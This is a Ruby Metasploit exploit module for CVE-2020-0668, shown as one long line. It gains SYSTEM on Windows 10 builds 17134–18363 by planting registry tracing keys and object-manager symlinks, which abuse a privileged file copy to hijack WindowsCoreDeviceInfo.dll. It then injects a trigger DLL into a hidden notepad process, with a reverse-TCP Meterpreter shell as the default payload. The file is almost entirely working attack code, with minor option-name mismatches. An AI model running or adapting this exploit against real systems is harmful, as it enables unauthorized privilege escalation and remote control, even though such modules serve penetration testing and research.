## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' require 'msf/core/post/windows/filesystem' require 'msf/core/exploit/file_dropper' require 'msf/core/post/file' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::Windows::Priv include Msf::Exploit::EXE include Msf::Post::Windows::FileSystem include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Exploit::FileDropper include Msf::Post::File def initialize(info = {}) super(update_info(info, 'Name' => 'Service Tracing Privilege Elevation Vulnerability', 'Description' => %q(This module leverages a trusted file overwrite with a dll hijacking vulnerability to gain SYSTEM-level access on vulnerable Windows 10 x64 targets), 'License' => MSF_LICENSE, 'Author' => [ 'itm4n', # PoC 'bwatters-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ ['Windows x64', { 'Arch' => ARCH_X64 }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 11 2020', 'References' => [ ['CVE', '2020-0668'], ['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'], ['URL', 'https://github.com/itm4n/SysTracingPoc'], ['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'], ['PACKETSTORM', '156576'], ['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'], ['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'] ], 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'DefaultOptions' => { 'DisablePayloadHandler' => false, 'EXITFUNC' => 'thread', 'Payload' => 'windows/x64/meterpreter/reverse_tcp', 'WfsDelay' => 900 })) register_options([ OptString.new('EXPLOIT_DIR', [false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]), OptBool.new('OVERWRITE_DLL', [true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]), OptString.new('PAYLOAD_UPLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil]), OptString.new('PHONEBOOK_UPLOAD_NAME', [false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil]) ]) # stores open handles to cleanup properly end def write_reg_value(registry_hash) vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}") begin if !registry_key_exist?(registry_hash[:key_name]) registry_createkey(registry_hash[:key_name]) registry_hash[:delete_on_cleanup] = true else registry_hash[:delete_on_cleanup] = false end registry_setvaldata(registry_hash[:key_name].strip, \ registry_hash[:value_name].strip, \ registry_hash[:value_value], \ registry_hash[:value_type]) rescue Rex::Post::Meterpreter::RequestError => e print_error(e.to_s) end end def remove_reg_value(registry_hash) # we may have already deleted the key return unless registry_key_exist?(registry_hash[:key_name]) begin if registry_hash[:delete_on_cleanup] vprint_status("Deleting #{registry_hash[:key_name]} key") registry_deletekey(registry_hash[:key_name]) else vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key") registry_deleteval(registry_hash[:key_name], registry_hash[:value_name]) end rescue Rex::Post::Meterpreter::RequestError => e print_bad("Unable to clean up registry") print_error(e.to_s) end end def create_reg_hash(new_size, exploit_dir) reg_keys = [] reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", value_name: "EnableFileTracing", value_type: "REG_DWORD", value_value: 1, delete_on_cleanup: false) reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", value_name: "FileDirectory", value_type: "REG_EXPAND_SZ", value_value: exploit_dir, delete_on_cleanup: false) reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", value_name: "MaxFileSize", value_type: "REG_DWORD", value_value: new_size, delete_on_cleanup: false) reg_keys end def remove_file(file_pathname) vprint_status("Deleting #{file_pathname}") begin session.fs.file.rm(file_pathname) rescue Rex::Post::Meterpreter::RequestError print_error("Manual cleanup of \"#{file_pathname}\" required!") end end def cleanup_mountpoint(dir) print_status("Delete mountpoint #{dir}") unless delete_mount_point(dir) print_error("Error when deleting the mount point.") end begin session.fs.dir.rmdir(dir) rescue Rex::Post::Meterpreter::RequestError print_error("Error when deleting \"#{dir}\".") end end def setup_process begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end process end def inject_magic(process) library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll') library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the trigger DLL into #{process.pid}...") dll = '' ::File.open(library_path, 'rb') { |f| dll = f.read } exploit_mem, offset = inject_dll_data_into_process(process, dll) vprint_status("Trigger injected.") payload_mem = inject_into_process(process, payload.encoded) print_status('Trigger injected. Starting thread...') process.thread.create(exploit_mem + offset, payload_mem) end def launch_dll_trigger begin print_status('Trying to start notepad') process = setup_process inject_magic(process) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) end end def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname) handles = [] reg_hash = create_reg_hash(file_contents.length - 1, exploit_dir) vprint_status("Registry hash = #{reg_hash}") # set up directories and mountpoints vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}") mkdir(exploit_dir) vprint_status("Made #{exploit_dir}") register_file_for_cleanup(upload_payload_pathname) mount_dir = '\\RPC Control\\' # Create mountpoint print_status("Creating mountpoint") unless create_mount_point(exploit_dir, mount_dir) fail_with(Failure::Unknown, "Error when creating the mount point... aborting.") end # Upload payload print_status("Uploading payload to #{upload_payload_pathname}") write_file(upload_payload_pathname, file_contents) register_file_for_cleanup(upload_payload_pathname) upload_md5 = session.fs.file.md5(upload_payload_pathname) vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}") # Create Symlinks print_status("Creating Symlinks") vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG") symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.LOG", "\\??\\#{upload_payload_pathname}") unless symlink_handle fail_with(Failure::Unknown, "Error when creating the RASTAPI.LOG symlink... aborting.") end vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}") handles.push(symlink_handle['LinkHandle']) vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD") symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.OLD", "\\??\\#{target_payload_pathname}") unless symlink_handle fail_with(Failure::Unknown, "Error when creating the RASTAPI.OLD symlink... aborting.") end vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}") handles.push(symlink_handle['LinkHandle']) # write registry keys reg_hash.each do |entry| write_reg_value(entry) end # Upload phonebook file phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha(6..13) + '.pbk' upload_phonebook_pathname = session.sys.config.getenv('TEMP') + "\\" + phonebook_name launch_rasdialer(upload_phonebook_pathname) register_file_for_cleanup(upload_phonebook_pathname) vprint_status("Checking on #{target_payload_pathname}") vprint_status("Upload payload md5 = #{Rex::Text.to_hex(upload_md5, '')}") moved_md5 = session.fs.file.md5(target_payload_pathname) vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}") # clean up after file move print_status("Cleaning up before triggering dll load...") print_status("Removing Registry keys") reg_hash.each do |entry| remove_reg_value(entry) end print_status("Removing Symlinks") handles.each do |handle| result = session.railgun.kernel32.CloseHandle(handle) vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}") end print_status("Removing Mountpoint") session.fs.dir.rmdir(exploit_dir) print_status("Removing directories") unless moved_md5 == upload_md5 fail_with(Failure::Unknown, "Payload hashes do not match; filecopy failed.") end end def exploit validate_target validate_active_host # dll should not already exist win_dir = session.sys.config.getenv('windir') target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll" if file?(target_payload_pathname) print_warning("#{target_payload_pathname} already exists") print_warning("If it is in use, the overwrite will fail") unless datastore['OVERWRITE_DLL'] print_error("Change OVERWRITE_DLL option to true if you would like to proceed.") fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false") end end # set up variables temp_dir = session.sys.config.getenv('TEMP') exploit_dir = datastore['EXPLOIT_DIR'] || temp_dir + '\\' + Rex::Text.rand_text_alpha(6..13) upload_payload_pathname = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha(6..13) + ".dll" payload_dll = generate_payload_dll print_status("Payload DLL is #{payload_dll.length} bytes long") # start file copy rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname) # launch trigger launch_dll_trigger print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}") print_status("Exploit complete. It may take up to 10 minutes to get a session") end def validate_active_host begin print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_target unless sysinfo['Architecture'] == ARCH_X64 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end if session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end sysinfo_value = sysinfo['OS'] build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i vprint_status("Build Number = #{build_num}") unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363) fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363') end end def launch_rasdialer(upload_phonebook_pathname) local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt') ensure_clean_destination(upload_phonebook_pathname) vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}") begin upload_file(upload_phonebook_pathname, local_phonebook_path) rescue Rex::Post::Meterpreter::RequestError print_error("Failed to upload phonebook") return nil end print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}") # Launch RASDIAL vprint_status("Launching Rasdialer") rasdial_cmd = 'rasdial VPNTEST test test /PHONEBOOK:' + upload_phonebook_pathname print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}") output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60) vprint_status(output) end def ensure_clean_destination(path) return unless file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Unable to delete #{path}") end end end